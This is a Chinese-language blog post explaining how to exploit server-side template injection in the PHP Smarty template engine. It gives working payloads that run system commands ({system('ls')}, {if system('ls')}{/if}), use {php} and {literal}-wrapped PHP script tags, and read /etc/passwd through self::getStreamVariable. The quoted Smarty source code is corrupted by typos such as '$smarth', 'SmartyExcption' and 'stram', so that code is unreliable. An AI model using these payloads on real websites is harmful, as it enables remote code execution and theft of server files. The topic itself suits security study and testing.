深入解析Smarty SSTI 利用

Eileen Seligman 2024-08-28 14:01:02 阅读 92

Smarty

Smarty是基于PHP开发的,对于Smarty的SSTI 的利用与常见的flask的SSTI有很大区别,了解过Jinjia2模板注入的应该知道,Jinjia2是基于python的,而Smarty是基于PHP的,所以使用起来还是比较容易地,我们只需要达到 命令执行即可

查看版本

<code>{$smarty.version}

常用标签

{php}

Smarty支持使用{php}{/php}标签来执行被包裹其中地命令,最常规地思路就是先测试该标签

{php}phpinfo(){/php}

不过Smarty已经废弃了{php}标签。在Smarty3.1,{php}仅可以在Smarty BC中使用。

直接输入命令即可

{system('ls')}

{literal}标签

官方手册这样描述这个标签

{literal}可以让一个模板区域的字符原样输出,这样常常用于保护页面上的JavaScript或者CSS样式表,避免因为Smarty的定界符而被错误解析

使用JavaScript语句进行命令执行,常见的变形语句:

<script language="php">phpinfo();</script>code>

当然这样的语法,在php5中可以使用,在PHP7中不可以使用。

因为**{literal}**中支持JavaScript语法,所以我们可以RCE

{literal}

<script language="php">phpinfo();</script>code>

{/literal}

调用静态方法

通过self获取Smarty类,再调用其静态方法实现文件读写

Smarty类的getStreamVariable方法的代码

public function getStreamVariable($variable) {

$_result = '';

$fp = fopen($variable,'r+');

if ($fp) {

while(!feof($fp) && (current_line = fgets($fp)) != false){

$_result .= $current_line;

}

fclose($fp);

return $_result;

}

$smarty = isset($this -> smarty)?$this->smarty : $this;

if($smarth->error_unassigned) {

throw new SmartyExcption('undefined stram variable ""'.$variable.'"');

}

else {

return null;

}

}

这个方法可以读取一个文件并返回其内容,所以我们可以使用self来获取smarty对象,并调用这个方法,很多文章里面给的payload都形如

{self::getStreamVariable("file:///etc/passwd")}

{if}

官方文档中这样描述

Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性,每个{if}必须有一个配对的{/if},也可以使用{else}和{elseif},全部的PHP条件表达式和函数都可以在{if}内使用,比如|| 、 or 、 && 、 and 、is_array()等等,如{if_is_array($array)}{/if}*

既然全部的PHP函数都可以使用,那么我们可以是利用此来执行我们的代码

{if phpinfo()}{/if}

{if system('ls')}{/if}



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。